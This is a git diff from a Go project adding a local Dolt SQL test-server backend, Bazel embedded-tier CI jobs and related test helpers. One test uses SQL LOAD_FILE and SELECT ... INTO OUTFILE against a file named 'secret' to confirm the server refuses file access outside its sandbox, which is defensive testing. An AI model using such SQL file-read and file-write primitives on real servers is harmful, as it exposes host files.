PinSuiteTempRoot re-pointed +// TMPDIR. +func TestLocalDoltServer_StateOutsideSuiteRoot(t *testing.T) { + requireLocalDoltCLI(t) + for _, k := range []string{"TMPDIR", "GOTMPDIR", "TMP", "TEMP"} { + t.Setenv(k, os.Getenv(k)) // restored after the test + } + root, err := PinSuiteTempRoot("bdt-suite-root-") + if err != nil { + t.Fatal(err) + } + defer os.RemoveAll(root) + if !PathUnderSuiteRoot(filepath.Join(os.TempDir(), "x"), root) { + t.Fatalf("PinSuiteTempRoot did not re-point os.TempDir() under %s", root) + } + + s, err := startLocalDoltServer() + if err != nil { + t.Fatal(err) + } + defer s.terminate() + for _, p := range []string{s.root, s.dataDir} { + if PathUnderSuiteRoot(p, root) { + t.Errorf("local server state %s is under the suite root %s", p, root) + } + } +} + +func TestLocalDoltServer_TerminateLeavesNothing(t *testing.T) { + requireLocalDoltCLI(t) + s, err := startLocalDoltServer() + if err != nil { + t.Fatal(err) + } + s.mu.Lock() + pid := s.cmd.Process.Pid + s.mu.Unlock() + s.terminate() + if processAlive(pid) { + t.Errorf("dolt sql-server pid %d still alive after terminate", pid) + } + if _, err := os.Stat(s.root); !os.IsNotExist(err) { + t.Errorf("state dir %s not removed: %v", s.root, err) + } + if err := pingDoltOnce(fmt.Sprintf("root@tcp(127.0.0.1:%d)/", s.Port())); err == nil { + t.Errorf("something still answers on port %d", s.Port()) + } + // A detached `dolt send-metrics` child of the exiting server would + // re-create /home/.dolt a few hundred ms later. + time.Sleep(time.Second) + if _, err := os.Stat(s.root); !os.IsNotExist(err) { + t.Errorf("state dir %s re-created after terminate (dolt child outlived the server?): %v", s.root, err) + } +} + +// The version probe's throwaway HOME must be gone for good once it returns. +func TestLocalDoltServer_VersionProbeLeavesNothing(t *testing.T) { + requireLocalDoltCLI(t) + bin, _ := resolveLocalDoltBinary() + base := t.TempDir() + if _, err := probeDoltVersion(bin, base); err != nil { + t.Fatal(err) + } + time.Sleep(time.Second) + if ents, _ := os.ReadDir(base); len(ents) != 0 { + t.Errorf("dolt version left %d entries in %s (dolt child outlived it?): %v", len(ents), base, ents) + } +} + +// Only files under the server's own sfp/ directory are reachable through +// LOAD_FILE and SELECT ... INTO OUTFILE: a local server runs as the test user +// on the host, with a passwordless root@%. +func TestLocalDoltServer_SecureFilePriv(t *testing.T) { + requireLocalDoltCLI(t) + c := startIsolatedLocalDoltServer(t) + db, err := sql.Open("mysql", fmt.Sprintf("root@tcp(127.0.0.1:%s)/", c.Port)) + if err != nil { + t.Fatal(err) + } + defer db.Close() + ctx := context.Background() + + outside := filepath.Join(t.TempDir(), "secret") + if err := os.WriteFile(outside, []byte("secret"), 0o600); err != nil { + t.Fatal(err) + } + var got sql.NullString + if err := db.QueryRowContext(ctx, "SELECT LOAD_FILE(?)", outside).Scan(&got); err != nil { + t.Fatal(err) + } + if got.Valid { + t.Errorf("LOAD_FILE(%s) outside secure_file_priv = %q, want NULL", outside, got.String) + } + written := filepath.Join(filepath.Dir(outside), "written") + if _, err := db.ExecContext(ctx, "SELECT 1 INTO OUTFILE '"+written+"'"); err == nil { + t.Errorf("SELECT ... INTO OUTFILE %s outside secure_file_priv succeeded", written) + } + if _, err := os.Stat(written); !os.IsNotExist(err) { + t.Errorf("INTO OUTFILE created %s: %v", written, err) + } + + inside := filepath.Join(c.local.secureFilePrivDir(), "ok") + if err := os.WriteFile(inside, []byte("ok"), 0o600); err != nil { + t.Fatal(err) + } + if err := db.QueryRowContext(ctx, "SELECT LOAD_FILE(?)", inside).Scan(&got); err != nil || got.String != "ok" { + t.Errorf("LOAD_FILE inside secure_file_priv = %q, %v; want \"ok\"", got.String, err) + } +} + +func TestSweepDeadLocalServerRoots(t *testing.T) { + base := t.TempDir() + const livePID, deadPID = 1001, 1002 + mk := func(name, marker string) string { + t.Helper() + p := filepath.Join(base, name) + if err := os.MkdirAll(filepath.Join(p, "data", "beads_test"), 0o700); err != nil { + t.Fatal(err) + } + if marker != "" { + if err := os.WriteFile(filepath.Join(p, localRootOwnerFile), []byte(marker), 0o600); err != nil { + t.Fatal(err) + } + } + return p + } + deadServer := mk("bdt-dolt-1", strconv.Itoa(deadPID)+"\n") + deadVersion := mk("bdt-doltver-1", strconv.Itoa(deadPID)) + live := mk("bdt-dolt-2", strconv.Itoa(livePID)) + noMarker := mk("bdt-dolt-3", "") + garbage := mk("bdt-dolt-4", "not a pid") + foreign := mk("other-dolt-1", strconv.Itoa(deadPID)) + target := mk("target", strconv.Itoa(deadPID)) + link := filepath.Join(base, "bdt-dolt-5") + if err := os.Symlink(target, link); err != nil { + t.Fatal(err) + } + + alive := func(pid int) bool { return pid == livePID } + swept := sweepDeadLocalServerRoots(base, alive) + sort.Strings(swept) + want := []string{deadServer, deadVersion} + if fmt.Sprint(swept) != fmt.Sprint(want) { + t.Errorf("swept %v, want %v", swept, want) + } + for _, p := range want { + if _, err := os.Lstat(p); !os.IsNotExist(err) { + t.Errorf("%s not removed: %v", p, err) + } + } + for _, p := range []string{live, noMarker, garbage, foreign, target, link} { + if _, err := os.Lstat(p); err != nil { + t.Errorf("%s must be left alone: %v", p, err) + } + } + if got := sweepDeadLocalServerRoots(base, alive); len(got) != 0 { + t.Errorf("second sweep removed %v", got) + } +} + +func TestLocalRootOwnerMarker(t *testing.T) { + root := t.TempDir() + if _, ok := readLocalRootOwner(root); ok { + t.Fatal("marker reported in an empty root") + } + if err := writeLocalRootOwner(root); err != nil { + t.Fatal(err) + } + if pid, ok := readLocalRootOwner(root); !ok || pid != os.Getpid() { + t.Errorf("readLocalRootOwner = %d, %v; want %d, true", pid, ok, os.Getpid()) + } + if !processAlive(os.Getpid()) { + t.Error("processAlive(self) = false") + } +} + +// The server's own dolt global config turns off the release check and usage +// events: a hermetic test action must not depend on (or phone) the network. +func TestLocalDoltServer_NoNetworkCallsConfigured(t *testing.T) { + requireLocalDoltCLI(t) + s, err := newLocalDoltServer() + if err != nil { + t.Fatal(err) + } + defer os.RemoveAll(s.root) + b, err := os.ReadFile(filepath.Join(s.root, "home", ".dolt", "config_global.json")) + if err != nil { + t.Fatal(err) + } + for _, k := range []string{`"metrics.disabled":"true"`, `"versioncheck.disabled":"true"`} { + if !strings.Contains(string(b), k) { + t.Errorf("server dolt global config lacks %s: %s", k, b) + } + } +} + +func TestDoltBackendSelection(t *testing.T) { + for _, tc := range []struct { + val, srcdir string + local bool + bad bool + }{ + {"", "", false, false}, + {"", "/runfiles", false, false}, // bazel: local only when a target or --test_env asks + {"local", "/runfiles", true, false}, + {"container", "/runfiles", false, false}, + {"local", "", true, false}, + {"docker", "", false, true}, + } { + t.Run(tc.val+"/"+strconv.Quote(tc.srcdir), func(t *testing.T) { + t.Setenv(EnvDoltServerBackend, tc.val) + t.Setenv("TEST_SRCDIR", tc.srcdir) + if got := useLocalDoltServer(); got != tc.local { + t.Errorf("useLocalDoltServer() = %v, want %v", got, tc.local) + } + if got := doltBackendErr() != nil; got != tc.bad { + t.Errorf("doltBackendErr() != nil = %v, want %v", got, tc.bad) + } + }) + } +} diff --git a/internal/testutil/testdoltcommon.go b/internal/testutil/testdoltcommon.go index 3658bfcc5..3b8c0a959 100644 --- a/internal/testutil/testdoltcommon.go +++ b/internal/testutil/testdoltcommon.go @@ -15,6 +15,28 @@ import ( // DoltDockerImage is the Docker image used for Dolt test containers. const DoltDockerImage = "dolthub/dolt-sql-server:2.2.0" +// EnvRequireDoltContainer, set to "1", turns an unavailable Dolt test server +// (either backend, see BEADS_TEST_DOLT_SERVER) into a failure instead of a +// skip: in RequireDoltContainer and StartIsolatedDoltContainer(Handle), and in +// every TestMain through DoltUnavailableForTestMain. Lanes that exist to run +// the Dolt server suites set it so they cannot pass green having run nothing +// (and, under Bazel, have that vacuous pass cached and shared). +const EnvRequireDoltContainer = "BEADS_TEST_REQUIRE_DOLT_CONTAINER" + +// DoltUnavailableForTestMain handles an EnsureDoltContainerForTestMain error +// in a TestMain and reports whether the TestMain must exit non-zero. By +// default it prints the historical warning and returns false, so the package +// runs and its Dolt tests skip. With BEADS_TEST_REQUIRE_DOLT_CONTAINER=1 it +// prints a FATAL line and returns true. +func DoltUnavailableForTestMain(err error) bool { + if os.Getenv(EnvRequireDoltContainer) == "1" { + fmt.Fprintf(os.Stderr, "FATAL: %v, but %s=1; this lane must not skip its Dolt tests\n", err, EnvRequireDoltContainer) + return true + } + fmt.Fprintf(os.Stderr, "WARN: %v, skipping Dolt tests\n", err) + return false +} + // RequireDoltBinary ensures the `dolt` CLI binary is available, and honors // BEADS_TEST_SKIP=dolt for tests that also depend on the shared // containerized Dolt SQL server. The test is skipped locally when dolt is diff --git a/internal/testutil/testdoltserver.go b/internal/testutil/testdoltserver.go index 367a0be70..c8a8616fa 100644 --- a/internal/testutil/testdoltserver.go +++ b/internal/testutil/testdoltserver.go @@ -24,6 +24,7 @@ import ( // doltServer represents a running test Dolt container instance. type doltServer struct { container *dolt.DoltContainer + local *localDoltServer // set instead of container by the local backend } // serverStartTimeout is the max time to wait for the test Dolt server to accept connections. @@ -55,8 +56,12 @@ const ( doltWrongVersion // image exists but wrong tag doltSkipped // explicit opt-out via BEADS_TEST_SKIP doltReady // ready to start containers + doltNoLocalCLI // local backend: pinned dolt CLI missing or wrong version, or a bad backend name ) +// doltLocalCLIErr explains doltNoLocalCLI. +var doltLocalCLIErr error + func (d doltReadiness) String() string { switch d { case doltNoDocker: @@ -69,6 +74,8 @@ func (d doltReadiness) String() string { return "Dolt tests skipped (BEADS_TEST_SKIP=dolt)" case doltReady: return "Dolt ready" + case doltNoLocalCLI: + return fmt.Sprintf("local Dolt test server backend unavailable: %v", doltLocalCLIErr) default: return fmt.Sprintf("unknown dolt readiness state: %d", int(d)) } @@ -98,13 +105,6 @@ func hasTestSkip(service string) bool { return false } -// EnvRequireDoltContainer, set to "1", turns a missing Dolt test container into -// a test failure instead of a skip in RequireDoltContainer and -// StartIsolatedDoltContainer(Handle). Lanes that exist to run the container -// suites (Bazel's requires-docker variants) set it so they cannot pass green -// having run nothing. -const EnvRequireDoltContainer = "BEADS_TEST_REQUIRE_DOLT_CONTAINER" - func skipOrFailDoltUnavailable(t *testing.T, state doltReadiness) { t.Helper() if os.Getenv(EnvRequireDoltContainer) == "1" { @@ -123,6 +123,20 @@ func checkDolt() doltReadiness { doltCached = doltSkipped return } + if err := doltBackendErr(); err != nil { + doltLocalCLIErr = err + doltCached = doltNoLocalCLI + return + } + if useLocalDoltServer() { + if _, err := resolveLocalDoltBinary(); err != nil { + doltLocalCLIErr = err + doltCached = doltNoLocalCLI + return + } + doltCached = doltReady + return + } if !isDockerAvailable() { return // doltCached zero value is doltNoDocker } @@ -154,6 +168,15 @@ func isDoltRepoImageCached() bool { // startDoltContainer starts the singleton Dolt container. func startDoltContainer() error { + if useLocalDoltServer() { + s, err := startLocalDoltServer() + if err != nil { + return fmt.Errorf("starting local Dolt server: %w", err) + } + doltTestPort = strconv.Itoa(s.Port()) + doltSingletonSrv = &doltServer{local: s} + return nil + } ctx, cancel := context.WithTimeout(context.Background(), serverStartTimeout) defer cancel() @@ -253,6 +276,10 @@ func terminateSharedContainer() { // holds doltServerMu. It does not consume doltTerminateOnce, so a later // replacement can still be removed by TerminateDoltContainer. func stopSharedContainerLocked() { + if doltSingletonSrv != nil && doltSingletonSrv.local != nil { + doltSingletonSrv.local.terminate() + doltSingletonSrv.local = nil + } if doltSingletonSrv != nil && doltSingletonSrv.container != nil { _ = testcontainers.TerminateContainer(doltSingletonSrv.container) doltSingletonSrv.container = nil @@ -313,11 +340,15 @@ type IsolatedDoltContainer struct { // Port is the mapped host port of the container's Dolt server. Port string - ctr *dolt.DoltContainer + ctr *dolt.DoltContainer + local *localDoltServer // local backend instead of ctr } // Stop pauses the container while retaining its data volume. func (c *IsolatedDoltContainer) Stop(ctx context.Context) error { + if c != nil && c.local != nil { + return c.local.stop() + } if c == nil || c.ctr == nil { return fmt.Errorf("no Dolt container running") } @@ -326,6 +357,9 @@ func (c *IsolatedDoltContainer) Stop(ctx context.Context) error { // Start resumes a container previously stopped with Stop. func (c *IsolatedDoltContainer) Start(ctx context.Context) error { + if c != nil && c.local != nil { + return c.local.restart() + } if c == nil || c.ctr == nil { return fmt.Errorf("no Dolt container running") } @@ -335,6 +369,9 @@ func (c *IsolatedDoltContainer) Start(ctx context.Context) error { // CurrentPort returns the container's currently mapped SQL port. Container // runtimes may assign a new host port after Stop/Start. func (c *IsolatedDoltContainer) CurrentPort(ctx context.Context) (string, error) { + if c != nil && c.local != nil { + return strconv.Itoa(c.local.Port()), nil + } if c == nil || c.ctr == nil { return "", fmt.Errorf("no Dolt container running") } @@ -346,8 +383,14 @@ func (c *IsolatedDoltContainer) CurrentPort(ctx context.Context) (string, error) } // Exec runs cmd inside the container and returns its exit code and combined -// output, demultiplexed (see containerExec). +// output, demultiplexed (see containerExec). Its working directory is the +// server's data directory (the image's WORKDIR, /var/lib/dolt); with the local +// backend cmd runs on the host in the local server's data directory, so +// commands must address the data through relative paths. func (c *IsolatedDoltContainer) Exec(ctx context.Context, cmd []string) (int, string, error) { + if c != nil && c.local != nil { + return c.local.execInDataDir(ctx, cmd) + } if c == nil || c.ctr == nil { return 0, "", fmt.Errorf("no Dolt container running") } @@ -367,6 +410,28 @@ func StartIsolatedDoltContainerHandle(t *testing.T) *IsolatedDoltContainer { skipOrFailDoltUnavailable(t, state) } + if useLocalDoltServer() { + return startIsolatedLocalDoltServer(t) + } + return startIsolatedDoltContainer(t) +} + +// startIsolatedLocalDoltServer is StartIsolatedDoltContainerHandle for the +// local backend, without the readiness gate. +func startIsolatedLocalDoltServer(t *testing.T) *IsolatedDoltContainer { + t.Helper() + s, err := startLocalDoltServer() + if err != nil { + t.Fatalf("starting local Dolt server: %v", err) + } + t.Cleanup(s.terminate) + return &IsolatedDoltContainer{Port: strconv.Itoa(s.Port()), local: s} +} + +// startIsolatedDoltContainer is StartIsolatedDoltContainerHandle for the +// container backend, without the readiness gate. +func startIsolatedDoltContainer(t *testing.T) *IsolatedDoltContainer { + t.Helper() ctx, cancel := context.WithTimeout(context.Background(), serverStartTimeout) defer cancel() ctr, err := dolt.Run(ctx, DoltDockerImage, @@ -469,6 +534,10 @@ func TerminateDoltContainer() { // DoltContainerCrashed returns true if the shared container has exited unexpectedly. // Returns false if no container was started. func DoltContainerCrashed() bool { + if doltSingletonSrv != nil && doltSingletonSrv.local != nil { + gone, _ := doltSingletonSrv.local.exited() + return gone + } if doltSingletonSrv == nil || doltSingletonSrv.container == nil { return false } @@ -482,6 +551,12 @@ func DoltContainerCrashed() bool { // DoltContainerCrashError returns an error if the shared container has exited // unexpectedly, nil otherwise. func DoltContainerCrashError() error { + if doltSingletonSrv != nil && doltSingletonSrv.local != nil { + if gone, err := doltSingletonSrv.local.exited(); gone { + return fmt.Errorf("local Dolt server exited (%v); log: %s", err, doltSingletonSrv.local.logSince(0)) + } + return nil + } if doltSingletonSrv == nil || doltSingletonSrv.container == nil { return nil } diff --git a/internal/testutil/testdoltserver_env_test.go b/internal/testutil/testdoltserver_env_test.go index 17aa1afa7..6810489d7 100644 --- a/internal/testutil/testdoltserver_env_test.go +++ b/internal/testutil/testdoltserver_env_test.go @@ -1,3 +1,5 @@ +//go:build !windows + package testutil import ( diff --git a/internal/tracker/testmain_test.go b/internal/tracker/testmain_test.go index 4bf75441f..dcff65085 100644 --- a/internal/tracker/testmain_test.go +++ b/internal/tracker/testmain_test.go @@ -41,11 +41,9 @@ func testMainInner(m *testing.M) int { // AD-01 (be-c5p): allow tracker tests to connect to the test container. os.Setenv("BEADS_TEST_SERVER", "1") if err := testutil.EnsureDoltContainerForTestMain(); err != nil { - if os.Getenv(testutil.EnvRequireDoltContainer) == "1" { - fmt.Fprintf(os.Stderr, "FATAL: %v, but %s=1: this lane must not skip the Dolt tests\n", err, testutil.EnvRequireDoltContainer) + if testutil.DoltUnavailableForTestMain(err) { return 1 } - fmt.Fprintf(os.Stderr, "WARN: %v, skipping Dolt tests\n", err) } else { defer testutil.TerminateDoltContainer() testServerPort = testutil.DoltContainerPortInt() diff --git a/internal/utils/testmain_test.go b/internal/utils/testmain_test.go index ea9634337..4f2370666 100644 --- a/internal/utils/testmain_test.go +++ b/internal/utils/testmain_test.go @@ -3,7 +3,6 @@ package utils import ( - "fmt" "os" "testing" @@ -24,7 +23,9 @@ func testMainInner(m *testing.M) int { // AD-01 (be-c5p): allow utils tests to connect to the test container. os.Setenv("BEADS_TEST_SERVER", "1") if err := testutil.EnsureDoltContainerForTestMain(); err != nil { - fmt.Fprintf(os.Stderr, "WARN: %v, skipping Dolt tests\n", err) + if testutil.DoltUnavailableForTestMain(err) { + return 1 + } } else { defer testutil.TerminateDoltContainer() DoltTestServerPort = testutil.DoltContainerPortInt() diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index c74de88de..bd842d395 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -323,6 +323,14 @@ func TestStorageDomainUOWJobsUseNestedTimeoutBudgets(t *testing.T) { }) } + // pr.yml's job is the one lane with both the image and the pinned dolt + // CLI, so it is where the container and local test servers are compared. + job := readCIWorkflow(t, "pr.yml").job(t, "test-domain-uow") + const fingerprintStep = "Test Dolt server fingerprint (container + local)" + assertStepRunsExactly(t, job, fingerprintStep, + "go test -tags gms_pure_go -count=1 -timeout 5m -v -run '^TestDoltServerFingerprint$' ./internal/testutil/") + assertStepEnvValue(t, job, fingerprintStep, "BEADS_TEST_REQUIRE_DOLT_CONTAINER", "1") + gate := readCIWorkflow(t, "pr.yml").job(t, "ci-gate") gateEnv := gate.step(t, "Evaluate CI gate").Env if !contains(gate.Needs, "test-domain-uow") { diff --git a/tests/regression/regression_test.go b/tests/regression/regression_test.go index feb9d5339..6683ee982 100644 --- a/tests/regression/regression_test.go +++ b/tests/regression/regression_test.go @@ -69,7 +69,9 @@ func testMainInner(m *testing.M) int { // AD-01 (be-c5p): allow regression tests to connect to the test container. os.Setenv("BEADS_TEST_SERVER", "1") if err := testutil.EnsureDoltContainerForTestMain(); err != nil { - fmt.Fprintf(os.Stderr, "WARN: %v, skipping Dolt tests\n", err) + if testutil.DoltUnavailableForTestMain(err) { + return 1 + } } else { defer testutil.TerminateDoltContainer() testDoltServerPort = testutil.DoltContainerPortInt() diff --git a/tools/bazel/test_env.sh b/tools/bazel/test_env.sh index fec7b5313..59a074362 100755 --- a/tools/bazel/test_env.sh +++ b/tools/bazel/test_env.sh @@ -23,10 +23,17 @@ mkdir -p "$root/home" "$root/xdg-config" "$root/dolt-root" "$root/tmp" : >"$root/gitconfig" # Dolt identity, as beads_test_env_enter sets with `dolt config --global`: # tests that shell out to dolt commit need an author. Written directly so the -# wrapper does not depend on a dolt binary. +# wrapper does not depend on a dolt binary. The two *.disabled keys stop every +# dolt command from checking for a newer release and from sending usage +# events over the network: calls a hermetic test must not depend on (they +# change no behavior, only drop a "newer version available" stderr line). +# They do not stop dolt from forking a detached `dolt send-metrics` child on +# exit, which outlives the command and re-creates $DOLT_ROOT_PATH/.dolt under +# a test that already removed it; DOLT_DISABLE_EVENT_FLUSH does. mkdir -p "$root/dolt-root/.dolt" -printf '%s\n' '{"user.email":"test@beads.local","user.name":"beads-test"}' \ +printf '%s\n' '{"user.email":"test@beads.local","user.name":"beads-test","metrics.disabled":"true","versioncheck.disabled":"true"}' \ >"$root/dolt-root/.dolt/config_global.json" +export DOLT_DISABLE_EVENT_FLUSH=1 export HOME="$root/home" export USERPROFILE="$root/home" From 6dbd9dbf65165492e998595ab397c24f785935ea Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 28 Sep 2026 04:41:10 -0700 Subject: [PATCH 175/624] ci(bazel): embedded-Dolt tier under Bazel, shard-for-shard with PR Risk (#6896) * fix(test): find the module root only when the concurrency test builds its binary TestConcurrencyMultiProcess looked up go.mod before checking BEADS_TEST_EMBEDDED_TEST_BINARY, so a pre-built binary run outside a checkout (Bazel's runfiles hold no go.mod) failed before using it. Only the fallback go test -c build needs the module root. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(bazel): job-mode equivalence reports TestEmbedded tests Bazel ran extra The extra-test check always ignored ^TestEmbedded names, the --config=ci lane's implicit skip, so a job comparison of the embedded tier could not see a Bazel variant running more TestEmbedded* tests than the CI job. Apply the skip only outside --job. Co-Authored-By: Claude Opus 5.5 (1M context) * feat(bazel): embedded-Dolt tier variants and --config=embedded PR Risk's embedded tier as embedded-tagged variants over the existing race test binaries (no second compile): - //cmd/bd:bd_embedded_test (20 shards) and //internal/storage/embeddeddolt:embeddeddolt_embedded_test (5 shards) run the jobs' own shard scripts through go_test_manifest_shard.sh, which maps Bazel shard k to the script's shard k+1 of n and stops the binary from sharding again. Each Bazel shard runs exactly the tests of the CI job with the same number (same discovery, committed manifest and hash fallback, binary flags). A plain -test.run ^TestEmbedded would not: nine TestEmbedded* functions outside *_embedded_test.go run in no CI job. - embeddeddolt_conformance_core_test / _audit_test pass the conformance jobs' exact selectors and -test.timeout=30m. - cmd shards use the race //cmd/bd:bd as BEADS_TEST_BD_BINARY, like the jobs' /tmp/bd-embedded-test. test:embedded: race, tag filter embedded, build_tests_only, the jobs' -test.parallel (4) and no -short/BEADS_TEST_SKIP; eternal is capped at 1200s, rbe-west's maximum action timeout. Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): run the embedded-Dolt tier in bazel.yml New advisory job bazel-embedded (same runner, rbe-west gate and secret handling as the other Bazel jobs) runs bazel test //... --config=embedded. It is a job of its own so the tier's long race shards stay off bazel-test's critical path and budget; it compiles nothing bazel-test does not. TestBazelEmbeddedJobMirrorsEmbeddedTier ties the config and variants to pr-risk.yml: race builds, shard totals and scripts, BEADS_TEST_EMBEDDED_DOLT, the race subprocess bd, the conformance selectors, and no -short. Co-Authored-By: Claude Opus 5.5 (1M context) * chore(bazel): sync BUILD files after rebase onto main Co-Authored-By: Claude Opus 5.5 (1M context) * fix(bazel): Go timeouts below Bazel's 1200s cap for embedded variants rbe-west caps actions at 1200s, so the eternal embedded variants are killed there, and rules_go's wrapper ignores that SIGTERM: a hang ended as a bare TIMEOUT without the goroutine dump the pr-risk.yml jobs rely on. The cmd shards (job: -test.timeout=20m) and conformance core/audit (job: 30m) now pass -test.timeout=19m, a documented deviation, so Go's timeout fires first. Storage shards keep the job's 15m, which already does. Correct the .bazelrc and BUILD comments that claimed the variants keep "the jobs' own" timeouts, and state each target's effective limit. The policy test now pins the 19m on the cmd shards and in place of the conformance jobs' 30m (and flags a change of the jobs' value). Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): fail bazel-embedded on targets or shards that ran no tests The embedded variants inherit silent passes from PR Risk's shard scripts: a shard the manifest assigns nothing exits 0 ("no tests assigned"), and a manifest missing from the runfiles falls back to hash assignment, so every shard still passes but no longer runs its job's tests. - tools/bazel/check_testcases.py reads the run's BEP and fails if any tested target's test.xml, or any shard's, is missing or lists no top-level test (reusing equivalence.py's BEP and testlogs helpers). bazel-embedded writes a BEP and runs it after the tests; test logs now upload on any failure. - The policy test requires each manifest-sharded variant's data to hold its shard script and the script's default manifest, and pins the new step. Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): run bazel-embedded only with remote execution Fork PRs and rbe=off dispatches ran the embedded-Dolt tier locally: 27 race test processes (~7-10k test-seconds) plus the race compile of cmd/bd on one GitHub-hosted runner, est. an hour or more per fork PR against the pool whose job cap this track exists to relieve, while pr-risk.yml's embedded jobs already run those tests for forks. bazel-embedded now runs only when rbe-west is on (RBE_WEST_WORKERS, same repo, rbe != off); its job and step timeouts shrink to the remote budget (60/50 min). The policy test pins this job's if and keeps every other job on the shared fork / rbe=off rule. Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelrc | 27 +++ .github/workflows/bazel.yml | 75 ++++++- BUILD.bazel | 18 ++ cmd/bd/BUILD.bazel | 45 ++++ internal/storage/dolt/BUILD.bazel | 1 + internal/storage/embeddeddolt/BUILD.bazel | 90 ++++++++ .../storage/embeddeddolt/concurrency_test.go | 6 +- scripts/ci_workflow_test.go | 210 +++++++++++++++++- tools/bazel/BUILD.bazel | 8 + tools/bazel/check_testcases.py | 79 +++++++ tools/bazel/equivalence.py | 10 +- tools/bazel/go_test_manifest_shard.sh | 42 ++++ 12 files changed, 598 insertions(+), 13 deletions(-) create mode 100755 tools/bazel/check_testcases.py create mode 100755 tools/bazel/go_test_manifest_shard.sh diff --git a/.bazelrc b/.bazelrc index d4b60610e..56cafc867 100644 --- a/.bazelrc +++ b/.bazelrc @@ -70,6 +70,33 @@ test:docker --test_arg=-test.parallel=4 # this host: always run them, like the jobs' `go test -count=1`. test:docker --nocache_test_results +# Embedded-Dolt tier: PR Risk's embedded jobs ("Test (Embedded Dolt Cmd +# N/20)", "Test (Embedded Dolt Storage N/5)", "Test (Embedded Dolt +# Conformance - core/audit)"), as the `embedded`-tagged variants of bd_test +# and embeddeddolt_test. Race like the jobs' binaries, no -short, no +# BEADS_TEST_SKIP; each variant sets BEADS_TEST_EMBEDDED_DOLT=1. The shard +# variants run the jobs' shard scripts, so every Bazel shard runs exactly the +# tests of the job with the same number. +# Only the variants and what they need are built (the same race configuration +# as --config=ci, so the two lanes share every compile). +test:embedded --@rules_go//go/config:race +test:embedded --test_tag_filters=embedded +test:embedded --build_tests_only +test:embedded --keep_going +test:embedded --test_summary=terse +# The variants are timeout = "eternal" because the jobs' Go timeouts are past +# "long"; rbe-west rejects any action timeout over 1200s, so eternal means +# 1200s here, and the effective limits are: storage shards, the job's +# -test.timeout=15m; cmd shards and conformance core/audit, -test.timeout=19m +# (the jobs pass 20m and 30m), so that Go's timeout, which dumps every +# goroutine, fires before Bazel's 1200s kill, which does not (see the BUILD +# targets). +test:embedded --test_timeout=-1,-1,-1,1200 +# The jobs pass no -parallel: GOMAXPROCS on a 4-vCPU runner. +test:embedded --test_arg=-test.parallel=4 +test:embedded --test_env=GO_TEST_WRAP_TESTV=1 +test:embedded --remote_download_regex=.*/test\.xml$ + # Pure-Go lane: pr.yml's "Check pure-Go and js/wasm boundaries # (CGO_ENABLED=0)" job. CGO is off for every Go target (rules_go drops # cgo-constrained files like go build does; third_party/patches/ diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 37531fb0e..6c2497c44 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1,15 +1,17 @@ # Bazel side-by-side lane (advisory). Runs `bazel test //... --config=ci`, the # PR Core-parity selection (race, -short, dolt skip, -requires-docker), on the -# same commit as pr.yml's go test lanes. It is NOT in ci-gate's -# CI_GATE_REQUIRED; promotion needs the equivalence record described in -# tools/bazel/equivalence.py and a human decision. +# same commit as pr.yml's go test lanes, plus one job per mirrored CI job +# (pure-Go/js-wasm, docker lane, pr-risk.yml's embedded-Dolt tier). It is NOT +# in ci-gate's CI_GATE_REQUIRED; promotion needs the equivalence record +# described in tools/bazel/equivalence.py and a human decision. # # Execution mode, passed to .github/actions/setup-bazel: # repo variable RBE_WEST_WORKERS=true plus secrets RBE_WEST_EXECUTOR (grpcs:// # endpoint), RBE_TLS_CERT, RBE_TLS_KEY (base64; RBE_TLS_CA optional): # remote execution on rbe-west, instance "oss" (shared with gascity). # fork PRs and rbe=off dispatches: local execution, slower but the same -# results. Same-repo runs are skipped while RBE_WEST_WORKERS is unset. +# results, for every job but bazel-embedded, which runs remotely only. +# Same-repo runs are skipped while RBE_WEST_WORKERS is unset. # workflow_dispatch with rbe=off simulates a fork run. # # Accepted risk (same model as gascity's bazel-test.yml): on push, merge_group @@ -389,6 +391,71 @@ jobs: echo "pure cmd/bd subset: $n test cases" (( n > 0 )) + # pr-risk.yml's embedded-Dolt tier ("Test (Embedded Dolt Cmd N/20)", + # "Test (Embedded Dolt Storage N/5)", "Test (Embedded Dolt Conformance - + # core/audit)") as --config=embedded: the embedded-tagged variants of + # //cmd/bd:bd_test and //internal/storage/embeddeddolt:embeddeddolt_test. + # The shard variants run the jobs' own shard scripts and manifests, so Bazel + # shard k runs exactly the tests of job k. A job of its own rather than a + # second invocation in bazel-test: the tier's long race shards stay off + # bazel-test's critical path and budget, and it compiles nothing bazel-test + # does not (same race configuration, shared through the remote cache). + bazel-embedded: + name: Bazel / embedded Dolt tier (advisory) + # Remote execution only: unlike the other jobs, no fork PR or rbe=off + # run. Locally the tier is 27 race test processes (~7-10k test-seconds) + # on one GitHub-hosted runner, an hour or more per run on the pool whose + # job cap this track exists to relieve, and it proves nothing pr-risk.yml's + # embedded jobs (which do run for forks) do not. The runs-on expression is + # the shared one and always picks the Blacksmith runner under this if. + runs-on: ${{ (inputs.rbe || 'on') != 'off' && github.event.pull_request.head.repo.fork != true && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + if: ${{ vars.RBE_WEST_WORKERS == 'true' && (inputs.rbe || 'on') != 'off' && github.event.pull_request.head.repo.fork != true }} + timeout-minutes: 60 + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + + - name: Set up Bazel + id: bazel + uses: ./.github/actions/setup-bazel + env: + BAZEL_REMOTE_EXECUTOR: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_WEST_EXECUTOR || '' }} + RBE_TLS_CERT: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_TLS_CERT || '' }} + RBE_TLS_KEY: ${{ (inputs.rbe || 'on') != 'off' && vars.RBE_WEST_WORKERS == 'true' && secrets.RBE_TLS_KEY || '' }} + 